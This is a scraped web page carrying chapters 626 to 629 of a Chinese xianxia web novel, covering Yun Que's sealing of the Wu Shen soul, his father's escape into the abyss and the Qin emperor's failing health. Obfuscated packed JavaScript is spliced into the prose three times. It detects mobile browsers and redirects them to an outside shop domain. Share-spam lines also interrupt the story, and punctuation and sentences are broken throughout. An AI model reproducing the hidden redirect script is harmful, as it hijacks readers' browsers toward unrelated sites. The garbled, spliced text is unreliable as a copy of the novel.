“超品?嘿嘿嘿嘿,世间何来超品之说,不过是攀登到巅峰的一品罢了,既然你说了超品,那么本座这一世便尝试一番,是否有机会突破一品桎梏,成为那天外之仙! 巫神的冷语中,带着无穷的霸道之意,仿佛这片识海乃至外界的天地,已经尽数在它掌握之中。 而此时,云缺惊恐疯狂的表情随之消失,嘴角翘起一抹淡淡的笑意。 表演时间,自此结束。 “巅峰啊,的确需要攀登,不知你这老鬼当年爬到了什么程度,我猜,你没到山顶,就被人弄死了,因为,那不是你的山!云缺戏虐的道。 听闻此言,巫神巨大的眼珠里忽然泛起了怒火,死死盯着云缺。 “你说什么…… “我说,你爬的不是你的山,你来的识海,也不是你的识海,此地名为……巫神墓!专门埋你这种鬼东西! “一介凡人,你如何埋葬本座,小东西,碾死你,只需要本座的一根手指而已。 “确实,你碾死我很容易,不过我死之前,先要和你玩一场游戏,你玩没玩过,堆积木? “堆……积木? 巫神在错愕之际,突然四周的残垣断壁出现了变化。 一块块大小不一的巨石凭空飞起,各自堆叠,眨眼间就组成了一座高大宏伟的殿宇! 殿宇成型的同时,其内涌动出庞大而恐怖的无穷文气! 此地,是文殿所在! 为了诓骗巫神踏入陷阱,云缺提前以识海主人的能力,拆分了文殿,将整个大殿打碎变成满地石块。 如今,巫神降临,而文殿再现! 第626章 为父在大渊等你 巫神之力确实世间无敌,但说到底,仅仅是一道残魂而已。 而文殿,是儒圣的真正传承,蕴含着儒圣毕生之文气,此刻形成镇压,完全将巫神残魂封印于此。 巫神发出愤怒而痛苦的嘶吼。 化作一团黑光拼命逃窜,在四周墙壁上撞出嘭嘭巨响。 可文殿亦如坚固的牢笼,任凭巫神如此撞击,分毫无损。 “儒圣!儒圣!!!你这卑鄙小人居然留下文殿!本座不甘心!!! 巫神此刻的眼前,哪里是什么年轻的弱小人族,而是一身青衫,手持戒尺的儒家至圣! 在尖锐的嘶吼中,巫神最终被压制成一团拳头大小的黑光,在文殿中心起伏不定。 云缺趁机动用识海之力,将外界的巫神碑抓进文殿。 到了文殿的巫神碑,仅有巴掌大小,而巫神化作的黑光就此遁入石碑当中,再无声息。 呼…… 云缺长出一口气。 幸好演技过硬,如果巫神不过来,离着远远的开始炼化自己的元神,云缺真就没什么好办法。 总不能拿文殿开砸吧,对方不仅能躲,还能跑啊。 若让巫神这种可怕的东西藏在云州,早晚会掀起劫难。 如今的结局最好不过。 巫神从新被封印在巫神碑,而巫神碑被镇压在文殿,只要文殿不倒,巫神这辈子算出不来了。 其实这番计划,云缺心里也没底。 毕竟无尽文气在云缺身上的体现太过弱小,只能连续施展九品儒家的小小法术,恶心人是真的,但威力实在太弱。 今天云缺算真正见识到了文殿之力,对儒圣的强大愈发震撼。 早知道这么简单,何必自己在外面拼得死去活来,早点让巫神降临自己识海就完了。 动用儒圣文殿,轻易拿捏巫神。 即便没有剑圣那一剑之力,云缺也有足够的信心靠着文殿镇压巫神。 千年前,巫神就是被儒圣宰的,千年后,文殿对残魂,绝对完胜! 月魁始终配合着云缺演戏,她是真的痛苦不堪,一直留在文殿废墟,她的表演绝非演技,而是真实痛苦的展现。 带着月魁与云朵离开文殿。 随后以学子礼 ,朝着文殿恭敬一拜。 “学生云缺,谢过先生相助! 云缺此举,毫无杂念,对儒圣感激不已。 若没有文殿这份传承,今天别说突破到破军,即便成为不灭武夫也难逃一死。 冥冥中,云缺仿佛再次看到了一袭青衫的身影,正站在缓缓合拢的文殿大门内,颔首轻笑。 少年城。 人们仰着头,目光呆滞的盯着石柱上方。 巫神碑的突然消失,令人们惊疑不定,不清楚发生了什么。 有人认为是巫神降临后,收走了石碑,将来会炼制成惊天的宝物,让自身更加强大。 也有人在心里祈祷着巫神碑破空而走,并且带走了巫神残魂,让劫难就此结束。 想什么的都有,唯独没人认为云缺还能活着。 即便巫神遁走,被巫神力量侵蚀过的云缺也绝对会惨死当场,没有活路。 无数双眼睛都在盯着云缺,连秦皇也不例外。 过了许久,石柱顶端有人动了。 不是云缺,而是被斩断了本体的云长吉。 断开的身体,在妖都之王的天赋下得以合拢,云长吉第二次动用了血狸的复生天赋。 尽管没死,云长吉的状态与复生两次的云缺有极大的不同。 他变得无比虚弱,脚步踉跄,仿佛那身体早就是一具尸体,越是复活,越是虚弱。 秦皇再次握紧了天子剑。 “陛下…… 左兰山低语了一声,不再阻拦,而是以最后的文气幻化出长剑。 龙桃更是浑身气机涌动,双拳捏得咯吱作响。 大秦的文武二臣,决定陪着秦皇死战到最后。 高台上,云长吉艰难的稳住了身体,他身上的妖气正在快速消散。 仅剩了两次的复生天赋,均被云长吉所用,妖都之王已经油尽灯枯。 一幅虚幻的血狸身影在云长吉身上若隐若现。 嘭!! 妖气爆发开来,化作漫天血光,组成了妖都之王的身影。 在下方的人们眼里,北域妖都的二阶化羽,将獠牙贯穿了云长吉的心脉。 反噬!! 作为妖武者,注定与身上的妖魂为敌。 妖魂之力对妖武者来说相当于镇压的野狼无法驯服更无法真正意义上的联手只有利用的关系而已。 世上的妖血武夫都会面临来自妖魂的巨大威胁。 除了云缺之外。 哪怕是辰龙云长吉也一样难逃被妖魂反噬的下场。 妖都之王在魂飞魄散的时候选择了以最后的力量给于仇人致命一击。 血光散去 云长吉再次踉跄着后退跌倒在石柱边缘七窍流血。 但云长吉的脸上并无惧怕的神色反而充满期待的望着云缺。 那目光里没有父亲对儿子的溺爱而是看到稀世珍宝般的贪婪犹如魔鬼。 云长吉再次重创让左兰山与龙桃看到了机会。 两人同时冲出跃上了石台顶端。 现在是诛杀辰龙的最佳良机! 但是左兰山与龙桃没敢立刻出手而是全力戒备着一动不动的云缺。 杀辰龙不难可是巫神没人能抗衡。 地面的少年们已经到了油尽灯枯的地步一些年轻又修为低的少年纷纷瘫倒在地如同死鱼般拼命呼吸。 大量气血的流逝让这些本该生机盎然的年轻人在短短时间内步入衰老状态。 沧海桑田转瞬之间。 少年们切身体会到何为白驹过隙。 半天时间而已他们仿佛走过了整个人生到了垂暮之年。 白誉满头白发持剑大吼: “云缺!醒来!我知道你不会死!你一定能抗衡巫神!” 一旁的忆白龙面色冷冽身形晃动间也到了石柱顶端。 作为云缺的皇叔忆白龙对云缺有着一种特殊的感情因为云缺的母亲是他毕生挚爱。 忆白龙这一生行事从没有任何犹豫过唯独今天犹豫了。 他不知道如果云缺被巫神占据身体后自己到底要不要出手。 柳真真与史得侩艰难的支撑着自己的身体眼中有绝望也有期待对云缺的下场担忧不已。 鸿影此时仰头倒在地上年轻的面孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660593|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得苍老不堪气息微弱吊着最后一口气。 他修为太低年纪又小加上始终替云缺助威致使气血流失更快此时到了将死之时。 用不了一时半刻,鸿影即将魂归地府。 其实即将死去的不止鸿影一个,成千上万的少年修士全到了死亡边缘。 如果没有奇迹,少年城将出现无数具尸体。 在人们惊恐着巫神的下落之际,云缺忽然动了。 先是仰起头,茫然的看了看四周,接着张开嘴巴,看样子好像要吸干所有人的气血。 龙桃与左兰山甚至忆白龙齐齐往后退了一步,纷纷谨慎戒备。 随后云缺的动作,令所有人万分不解。 呕…… 云缺吐了…… 没吐出秽物,而是吐出了一粒血丹。 血丹从石台顶端落下,轻飘飘,慢悠悠落向地面。 没人动。 除了错愕之外,人们的脑海里已经失去了思考。 等到血丹落在地面,发出了啪的一声轻响。 随后一片雨幕般的血色冲天而起! 无数条血线,纷纷没入少年们的头顶。 那是他们被吸走的气血之力,随着血丹碎裂而原路返回! 衰老虚弱的少年修士们,脸上的皱纹快速消失,头上的白发快速转黑,虚弱的气血快速逆转! 片刻之后,少年们再焕新生! 鸿影从地上爬了起来,看了看自己的双手,又摸了摸自己的脸,惊喜道: “我活过来了!失去的气血全部回来了!是师兄,一定是师兄!师兄打败了巫神! 听到鸿影的吼声,少年们全部欢呼而起,大吼大喝,发泄着死中得活的兴奋。 没人怀疑鸿影的猜测。 若是巫神当真占据了云缺的身体,不可能吐出血丹,那可是巫神的大补之物。 云缺吐出血丹后,不断的干呕。 血丹倒是没什么,关键血腥气太重了,云缺是活人,受不了那么浓郁的气血之力,强忍着不吐而已。 艰难的站了起来,云缺沙哑道: “爹……这是我对你最后一次尊称,若不杀你,天下不宁!我心也不宁! 狂暴到极致的杀意,此时在云缺心中涌动。 父子之情,早已在武神降临的那一刻,烟消云散。 云长吉轻叹了一声,苦涩的摇了摇头,道: “文气,原来如此……看来大祭酒对你不薄,我始终认为秦蒙置身在棋盘之外,没想到,他早已跻身于棋局之中……云缺,你要杀我,我不怪你,可惜,你做不到。 云长吉的身后突然爆发出一阵黑光! 空气中出现了一个漆黑的漩涡,仿佛能将人的目光都吸扯进去,连阳光都无法将其照亮。 那漩涡中充满了冰冷的死气,犹如通往地府的通道。 云长吉的脸色浮现出诡异的笑容,嘴角流着血,沙哑道: “儿啊,我们还会见面,为父在大渊等你,而你,一定会来…… 云长吉抬手召回了封城铁锁,往后退了一步,就此被漩涡吸走,消失了踪迹。 漆黑的漩涡也在同时崩溃溃散,化作一片虚无。 看这本书的人都是很幸运的,分享后你的运气会更棒的 第627章 斩他的时候,我帮你 乌云消散,少年城完全被阳光填满。 高大的山岳力士,眼眶里的光晕随之熄灭,全部回归到山峦状态。 巫神降临的劫难,至此结束。 无数少年们感受着再焕的生机,无不激动万分,振臂高呼着少年王。 遍布裂痕的石柱顶端,云缺亦如王者般居高而立。 这一刻,他是真正的无冕之王,迎接着无数少年的朝拜,哪怕一旁的大秦之主都变得黯然失色。 可以说没有云缺,满城少年将无一活口,全部得魂归地府。 相对于激动万分的少年们,站在石柱旁边的几道身影则谨慎万分。 秦皇,忆白龙,左兰山,龙桃,四道目光全部落在云缺身上,四人的气息也在不断鼓荡,身体紧绷,准备着随时出手。 吐出血丹之举,难以证明云缺还是原本的元神,也可能是巫神的另一手诡计。 云缺看得出几人的忌惮之意,摆了摆手,干呕道: “是我,别误杀了……呕……” 说话就想吐,云缺现在身体没有大碍,就是止不住的恶心。 秦皇与忆白龙沉默着没有开口。 龙桃与左兰山互相看了眼,各自站在云缺两侧。 龙桃当先开口质问: “如何证明你是云缺,而非巫神。” 云缺忍着恶心道:“还用证明吗,巫神哪能有我这么玉树临风……呕……” 龙桃吧唧吧唧嘴,点头道: “也是,说得我都想吐了,巫神的脸皮应该没你这么厚……那不行!玉树临风不算数,你说个更有力的证据,比如脸皮更厚的事儿,或者更恶心的也行。” 云缺无奈的道: “刚才是谁说蹦出来个一品就吃热乎屎的,太尉大人若是拉不出来,我可以代劳,保证新鲜又热乎,入口即化。” “呕……”这次龙桃真想吐了,败下阵来,道:“没错了!这小子肯定不是巫神,超品不可能这么恶心,呕……” 龙桃信了,左兰山可不信。 这位大秦丞相几步来到云缺面前,沉着脸喝问: “将你留在九儒楼的大作再写一遍,需要字迹符合才行,另外再做四首七言绝句,分别以春秋冬夏四字为题,若有一首七言不合要 求,老夫定然不会相信你就是云缺,现在,作诗吧。 云缺目光茫然的盯着眼前的丞相,心里早就将其祖宗十八代问候了一遍又一遍。 我刚刚和巫神拼命啊,又被自己亲爹坑到如此地步,你还不信? 越想越气,越气就越恶心。 云缺忍无可忍,怒不可赦,一张嘴,直接呕吐了出来。 这顿大吐特吐,胆汁都吐出来了,原本的战场上只听闻云缺山崩地裂的呕吐声。 过了半晌,云缺终于吐完了。 他是吐痛快了,吐出来的东西,全留在左兰山身上,满头满脸全是。 龙桃看得眼皮乱跳,直往旁边挪步。 左兰山的表情则彻底凝固,目光呆滞,一动不动,宛如雕塑。 云缺抹了抹嘴角,问道:“丞相大人,我还用作诗吗。 左兰山麻木的转过身,走向石柱边缘,语调茫然的道: “不用了…… 一步迈出石柱,这位大秦丞相化作一道遁光离开了少年城。 不走不行了,再不走左兰山怕忍不住宰了云缺。 这还用试探么,能当着几十万人的面吐他一身的主儿,天下间除了云缺还能有谁! 秦皇也转身踏空而去,不过刚迈出几步身形就栽歪了一下,龙桃急忙搀扶住皇帝,两人同时离开。 剩下了武威王忆白龙。 忆白龙面色冷峻,目光却十分复杂的望着云缺,沉声道: “斩他的时候,我帮你。 说罢转身离去。 斩他的他字,云缺自然懂得,指的是云长吉。 忆白龙虽然没多说什么,但他已下定决心,定要将云长吉斩于剑下! 不仅抢走了他毕生挚爱,还将他深爱的女人送给妖都之主,如此行径,忆白龙忍无可忍。 这位大唐武威王,已经彻底将云长吉视为死敌。 此生不死不休! 忆白龙走后,远古大阵的中心石柱开始坍塌,碎裂成无数碎块掉落满地。 这座出自道尊之手的法阵,彻底失去了功效。 石柱虽然坍塌碎裂,云缺却不为所动,踏空而立,一袭黑衣在风中猎猎作响。 四品破军的气机,可以凝聚出阶梯, 达到踏空而行的效果。 终于,云缺可以在半空飞翔! 站在空中,云缺举目四顾, 远处的高山不再高耸,天上的白云仿佛触手可及。 这才是山顶的景色! 随着修为不断增强,云缺看到了不同的风景。 在藏石镇的时候,他只想做个混吃等死做个小小仵作,到了天祈城,则想娶了牧青瑶做个逍遥王爷。 后来到了大唐,到了大秦,云缺只想熬过假太子这出大戏,诓骗点大秦的高手回去抗衡邵武国与九夷人。 现在, 经历过父亲的被判与巫神降临的生死危机之后,云缺想站到更高的地方,攀登到真正的山顶,看到儒圣眼中的风景! 只想变得更强! 因为只有自己更加强大,才能解开那些埋葬于岁月中的谜团。 云长吉为何能遁入大渊,星辰殿的殿主究竟是何人,万妖国与星辰殿究竟有何关联,九夷人的老巢到底有多少高手,千年前儒圣为何要斩杀其他超品,还有身陷天澜宝境的母亲也必须要救回来。 这一连串的事,都需要云缺去一一解决。 没有强大的修为,即便看穿了谜团的真相,也一样是棋盘上的棋子,任人摆弄。 云缺在此刻发誓,这辈子决不会再做棋子! 而不做棋子的底气,只能是变得更强! 四品破军还远远不够,云缺要冲进三品归真,冲进二品不灭,直至成为一品武圣! 满腔豪情,化作一道长啸,震天而起。 满城少年修士被少年王的啸声所感染,纷纷仰天嘶吼,一时间声震云霄! 啸声过后,云缺踏空而行,走到地面。 鸿影,段无病,白誉,柳真真,史得侩等人纷纷围拢过来。 一群好友盯着云缺也不说话,都在嘿嘿傻笑,笑个没完,尤其史得侩,哈喇子都笑出来了。 “被我连累,大家受苦了。”云缺朝着众人拱手抱拳。 说成连累,其实没错。 少年城这盘大棋,最终目标就是云缺一个人。 所有人,包括秦皇都是棋子。 白誉道:“这是什么话!我们是兄弟,一辈子的兄弟!” 段无病:“如果没有< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671537|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 云师弟我们今天哪有命在是你挽救了少年城挽救了大秦之地我们的命是你救的我段无病欠你一条云师弟若有差遣段某赴汤蹈火万死不辞!” 史得侩:“对!云兄弟救了少年城两次我们的命都是你给的!我们是亲兄弟!同生共死!” 白誉说是兄弟其实一点没错人家和云缺本来就是表兄弟史得侩不管其他反正他认准了云缺是兄弟那就是亲兄弟一样比表兄弟还亲。 鸿影道:“师兄太帅了!我这辈子肯定追不上师兄的脚步不过我会远远跟着!师兄去哪征战我就去哪!” 柳真真:“今日少年王出世必将千古留名!少年城迎来新主!诸位随我拜见少年王!” 周围无数少年修士齐齐躬身施礼。 “拜见!少年王!” 声音震耳欲聋! 云缺挥手示意大家免礼。 这次少年王的名头算是彻底坐实了满城少年修士无人不服。 史得侩道:“大王!我们下一步该如何行动是反了大秦!还是攻打万妖国!” 大王俩字听得云缺贼别扭。 好不容易成了少年王怎么听起来是个山大王呢二当家这种职业我在黑风寨就当过了。 “老史你叫我名字就行大王听起来生疏再不喊王爷也成。”云缺道。 “成!那我还叫你云缺嘿嘿!不过你能不能叫我名字老史听起来也不咋地。”史得侩到是聪明了一次。 “没问题小史。”云缺道。 “小史?听着还是别扭呀还不如老史呢。”史得侩挠头道。 周围众人哈哈大笑。 玩笑归玩笑 “既然诸位奉我为王那我宣布一件事。”云缺环视周围众人洪声道:“少年城为大秦之少年城此地就此归入大秦。” 将少年城融入大秦是云缺看在秦皇亲临少年城的面子上。 毕竟秦皇人家是真拼命了而且少年城本来也是大秦之地归入大秦理所当然。 城可以归入大秦但是人云缺得带走。 “我们少年城今后的第一目标便是铲除星辰殿!” 云缺冷喝道:“星 辰殿为天下妖邪之首不仅害了我们少年城还在大唐暗害佛门在大晋害人无数若不将其彻底铲除天下永无宁日!” 提及星辰殿少年修士们义愤填膺。 巫神降临的劫难就是星辰殿一手促成可以说星辰殿成了在场所有少年修士的公敌。 史得侩咬牙切齿道: “王爷你说!星辰殿的狗腿子都在哪里 云缺等的就是这句话洪声道: “据我所知邵武国背后的九夷城乃是星辰殿的生肖高手所在之地我们下一步是邵武国!” 这次云缺都不用找什么借口诓骗了现成的深仇大恨摆在眼前。 云缺顺便将九夷城主吃心的习惯告知了大家。 听闻这个消息少年们气得破口大骂发誓要铲平九夷人这种邪修。 战场已经定好云缺让柳真真与史得侩带着少年修士们重建少年城近日开拔攻打邵武国。 安排好之后白誉告辞返回大唐段无病也与皇亲国戚们返回了大秦。 云缺则独自出城按照记忆中的方位来到一处荒林。 商福商暮被云长吉打出了城外不知生死这两人还有用云缺需要确定两人是否还活着。 结果找了一大圈居然没看到商福与商暮的影子。 第628章 我有媳妇你没有 云缺站在林间一棵断掉的小树旁,紧锁眉峰。 自己之前绝不会看错,商福与商暮飞出城外的方向就是这边。 现在不仅没看到尸体,连人影都没有。 二品妖武者的一击,那两兄妹绝对扛不住,非死即残。 可如今却消失不见。 从眼前小树判断,曾经有重物落下将其砸断,而且时间很近,以云缺推测,应该是商家兄妹掉落所致。 没有血。 说明商家兄妹挨了二品一掌,依旧活蹦乱跳,撞断一棵小树后逃之夭夭。 “为什么没死……” 云缺暗自沉吟,思索着这件古怪之事。 商福商暮之所以没死,看样子连伤势都没有多少,只能说明辰龙打出的那一掌有问题。 看似在泄愤,拍开商福商暮,实则是在救下商家兄妹! 当时正是巫神即将降临之际,商福与商暮被拍出城外,也就逃过了巫神降临后的危机。 “他为什么要救商家兄妹,莫非……” 云缺目光晃动了起来,一个猜测至此出现在脑海。 关于父亲的身世。 云长吉,有可能也是大商遗民! 他在保护商家兄妹! “妖武大商……” 云缺沉沉的呼出一口气。 如果算下来,那么自己也是大商遗民了,父子可以反目成仇,但身上流淌的血脉无法剔除。 之前的一些谜团,自此迎刃而解。 难怪辰龙可以打造妖血武夫,他一定继承了大商妖武者的某种传承,并且加以改良,以大燕斩妖司作为试验场,最终将自己的儿子打造成最佳容器,创造出无尽识海这种造化之力。 “大商……哈!”云缺苦涩一笑,道:“又一个燕太子……” 云长吉的手段,在某种意义上来说,与燕太子有着共同之处。 他们同样冷血无情,同样为了早已湮灭的国度而杀伐无数,也同样该死! 云缺的心神起伏不断,时而愤恨,时而懊恼,时而唏嘘。 月魁感受到心神的起伏,轻声道: “知道你恨他,我也恨,你若想去大渊杀他,姐姐陪你到最后,生死与共。” “姐啊,还是你猜得 对我们真是亲姐弟我是要杀他但我不会去大渊那种死地我的手段难道姐姐还不了解么。” 云缺冷声道:“我会把大渊埋上彻底封死!用大渊做他云长吉的墓让他永远埋在大渊深处。” 大渊那种天下险地云缺才不去了。 杀了云长吉与埋了云长吉一样的效果何必自己去冒险。 “埋了大渊?恐怕不容易那种地方不是轻易能封死的。”月魁道。 “没关系天下强者那么多大家一起想办法就是了以前大渊就有封印现在看来封印出了问题学宫也不会置之不理人多力量大埋个坑而已早晚能成功没听说愚公移山么我这叫智者埋坑。”云缺道。 “愚公移山智者埋坑?我看你不是智者你就是坏。”月魁鄙夷道。 “遇事要动脑子嘛不动脑子想使坏也做不到你说对吧。”云缺道。 “你说的倒也有理……咦?我怎么听起来是在指桑骂槐呢。”月魁道。 云缺一边说着没有一边急忙切断了与月魁的联系。 妖狸老姐好哄但云缺自从得知了云朵的来历内心始终变得低落压抑。 以云长吉所言 云朵本该与自己是双胞胎的兄妹却被自己吞噬只剩一份小小的元神融入自己识海。 这种经历让云缺难以接受苦闷中带着深深的内疚。 心神也变得愈发不安愈发躁动。 云缺习惯的用月玉贴在额头感受着月玉里的丝丝清凉模糊的女孩身影仿佛就在身边。 牧青瑶最初送的月玉原本里面什么都没有。 自从云缺带在身上便成了云朵接触到外界的唯一媒介。 月玉可以宿入神魂云朵便将元神融入月玉当中每当云缺被自身妖气侵蚀得神魂焦躁之际云朵就会用自己的元神之力帮云缺清明神智。 这是身为妹妹唯一能帮到哥哥的地方。 “云朵对不起对不起……” 云缺站在荒林里喃喃低语眼前被泪水所模糊。 朦胧中 云缺想要抓住云朵的小手 等到眼前恢复清晰,自己手里空空如也。 云朵,早已不在了。 尚未出生,便消失在人间,从未见过天地的模样,也从未看过任何风景。 云缺猛地握紧了拳头。 “云朵别怕,哥哥会想尽办法让你重新来到人间,看一看大千世界,无论任何代价! “七叔……七叔一定有办法,我们去找七叔! 收起伤感的心情,云缺返回少年城。 先登上楼船,把萍山君救出来。 这么长的时间,云缺本以为萍山君被水晶小塔封了快一天时间,指不定狼狈到什么模样,没准已经被冻个半死。 破开屋门,结果发现萍山君正大摇大摆的坐在椅子上,闷头吃剩菜呢…… “你上辈子是猪吧,还吃呢。 云缺没好气的骂了一句。 我在下边打生打死的,接连不断的危机临头,这头傻老虎倒好,吃了半天剩菜。 果然傻人有傻命。 不,是傻虎有傻命。 “这么多菜呢,不吃不浪费了呀,王爷真厉害啊!天上下来个大块头儿都被您干掉了!萍山君急忙拍马。 “你看到了?云缺道。 “隔着冰层看的,就是看不太清,要是冰塔里开个窗子就好了。萍山君道。 “开窗子……开你姥姥!看戏还嫌不够,你打算往下扔点银票打赏是不是。云缺没好气的道。 “没没没!我哪有银子呀,我是说开个窗子我就能爬出去帮王爷大战强敌!萍山君急忙解释。 收起水晶小塔,云缺坐在窗边往下看去。 还别说,这里俯瞰全城,绝对是擂台战的最佳观赏点。 少年城的人正在收拾残局。 一些没死透的妖兽纷纷被击杀,城里热热闹闹过年一样,到处是斩杀妖兽的身影。 “虎威将军,给你个任务,去个地方做卧底。云缺道。 “属下听令!萍山君站得笔直,威风凛凛的道:“王爷吩咐,要我去哪当卧底! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671538|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“万妖国。 “啊? 萍山君的气势顿时全无,愁眉苦脸的道:“能不能换个地方,听说去了万妖国的妖族,都会 成为奴隶,再也出不来了呀!没了我,王爷该多孤单,我实在不忍心王爷一个人孤单呐! “我不孤单,真的,我有媳妇,你没有。云缺道。 萍山君愣了愣,道:“打人不打脸,骂人不骂短,就不能委婉点么。 “正好你在这,帮我个忙,看看这头虎妖是什么品类。 云缺说着放出了从宝境里收的雪纹虎。 萍山君原本咧着大嘴一脸衰象,等看到眼前出现的虎妖之后,顿时眼睛都直了,哈喇子淌了一地。 “美虎……美虎啊!萍山君着魔般瞪着眼珠子道。 “问你是什么虎,没问你美不美。云缺道。 “什么虎?当然是天下第一的美丽虎!老子的缘分到了!嘿嘿,嘿嘿嘿嘿…… 雪纹虎仰着高贵的头颅,看都没看萍山君一眼,雪白的长毛宛如白毯。 难怪萍山君动心,雪纹虎确实漂亮。 云缺觉得又有点恶心。 美丽虎? 亏你能想出来这种名称。 招手让雪纹虎过来,云缺轻抚着虎毛,道: “虎威将军若肯卧底万妖国,等你归来,这头美丽虎就送你如何,本王亲自帮你在大晋皇宫举办婚事,明媒正娶,你们的后代可以在大晋随意走动,只要不伤人,便是大晋子民。 “成!成啊!万妖国算什么东西,等老子去了闹它个天翻地覆!夺了国主之位,我当国主! 萍山君意气风发,大言不惭,吹得天花乱坠。 “停,停!你可别去闹,扫听点消息即可,要不然我怕你回不来,美丽虎成了寡妇虎。云缺道。 “好!一切听王爷吩咐!萍山君冷静下来,问道:“我去扫听什么消息啊? “有关万妖国与星辰殿之间的关联,还有万妖国之主的一切消息。云缺沉声道。 “知道了,等我吃完的这就出发!萍山君继续吃剩饭。 “你自己小心些,万妖国向来神秘,那国主怕是不好对付,别露出马脚。云缺道。 “放心!凭我这拍马屁的功夫,用不了几年就能混上个军师的位置,有机会篡了它的万妖国!萍山君倒是底气十足。 云缺点点头,表示认可。 别的能耐,萍山君确实不太行,但是论起油滑,这家伙绝对在妖族当中位列前茅。 云缺有时候都有点怀疑。 以萍山君这种官场老油子般的表现,根本不像刚开启神智不久的低阶妖族,反而像是修炼了多年的老妖精。 说他傻吧,人情世故什么都通,反正自己肯定不吃亏。 这一点云缺倒是放心。 萍山君这种家伙,放在什么地方都能混得开,也许混不好,但绝对饿不死自己。 以雪纹虎作为代价,云缺派出萍山君前往万妖国。 星辰殿在少年城的布局,万妖国参与在其中,两者之间定有关联,也许能从万妖国,挖出星辰殿之主的消息。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第629章 明日成亲 少年城需要休整一段时间,云缺让柳真真与史得侩代为主持大局,自己则带着穹音的尸体与鸿影返回了天龙城。 其实云缺不太想回来。 毕竟身份已经穿帮了,假太子最好提前跑路。 可云缺能跑,少年城的一群少年修士跑不掉。 大秦虎贲军与玄龙军已经到了,各自驻扎在城外两侧,几十万人马全是修行者,均为大秦精锐,秦皇不发话,少年城里的人根本出不来。 局面已经很明显。 秦皇是在等着云缺回皇城,解决少年城的归属问题。 云缺这一路上几乎是众星捧月,陪着一起回城的全是军中精锐高手。 说难听点,就是押解回来的。 进城后,云缺发现天龙城的气氛肃杀。 原本常年敞开的城门,居然紧闭,城墙上有大量军兵镇守。 起初云缺认为秦皇在防备着星辰殿,后来见到太尉之后,龙桃的脸色极差,好像有什么大事发生。 “太尉大人,城里怎么了,有星辰殿的高手出没?”云缺问道。 “没有,陛下身体不适而已。”龙桃示意手下都退去。 “既然陛下有恙在身,那我先回公主府了,等陛下好转后再来拜见。”云缺道。 云缺觉得莫名其妙, 皇帝身体不适,用得着如此大动干戈,又封城又戒备的,弄得跟驾崩了差不多。 “唉,这次麻烦了。” 龙桃也不解释,拉着云缺来到皇宫一处偏殿。 偏殿内, 左兰山,赢财赢人志都在,连重伤的赢皓都躺在一边。 除了这些人之外,居然宁玉公主也在场。 见云缺到了,左兰山沉着脸没吭声,还恶心呢。 赢财愁眉苦脸的点头示意,赢人志脸色苍白显得心神不宁,赢皓则始终昏厥不醒。 赢霏雨走过来拉住云缺的手,一张俏脸上写满了担忧。 云缺拍了拍对方的小手,示意自己无碍。 偏殿内除了文武两位重臣之外,剩下的全是秦皇的子女。 云缺算唯一的一个外人。 “太尉大人,到底出了什么事。”云缺疑惑道。 “唉,陛下卧病在床,怕是 挺不住多久了……龙桃长叹道。 云缺大为意外。 秦皇走的时候可是好好的,除了脖子挨了一刀流点血之外,没被重创啊,居然这么快就不行了? 听龙桃的语气,还是没救了的那种,指不定什么时候就要驾崩。 “陛下到底伤在何处,为何伤势这么重。云缺道。 仙武大秦,可不是小国,什么灵丹妙药没有,怎会束手无策。 龙桃摇头苦叹: “少年城一战,陛下被那辰龙所伤,原本该立刻返回皇城,结果逗留的时间太长,以至于失血过多,卧床不起。 云缺知道秦皇被伤一事,而且当时很难止血,云长吉的妖刀上有着狂暴的妖气,应该是妖气侵入了伤口,让秦皇无法做到愈合。 但是这件事云缺越发不解起来。 即便在少年城的时候伤口难以愈合,回到天龙城也该止住血了,这段时间,秦皇多数流个几两血撑死了。 伤口本就不大,又不是狂喷鲜血那种。 几两血,别说大秦帝王,换成个孩子都没什么问题,多说歇两天而已,怎么落到奄奄一息的地步。 “御医没办法吗?云缺道。 左兰山沉声道: “医术已经无效,陛下的体质很特殊,精血极少,流一滴血,相当于其他人流十斤血,甚至更多。 听闻此言,云缺立刻想起了秦皇心窝处的骸骨。 透心一剑而不死,说明秦皇的身体有可能大半都是骸骨,失去了血肉。 因此鲜血变得极少,而且极为珍贵。 一剑透心,对秦皇来说不算什么,可多流几滴血,才是致命的伤势! “陛下到底是什么体质,为何流血就要死掉。云缺追问。 龙桃与左兰山纷纷摇头,这个秘密,连他们两位重臣也不得而知。 云缺看向大皇子。 赢财更是茫然不已,道: “我也不知道,父皇从来没跟我提起过体质的事儿。 云缺想了想,来到赢财近前,掀开对方的蟒袍看了看。 血肉之躯,没什么特殊的地方,还有小肚腩。 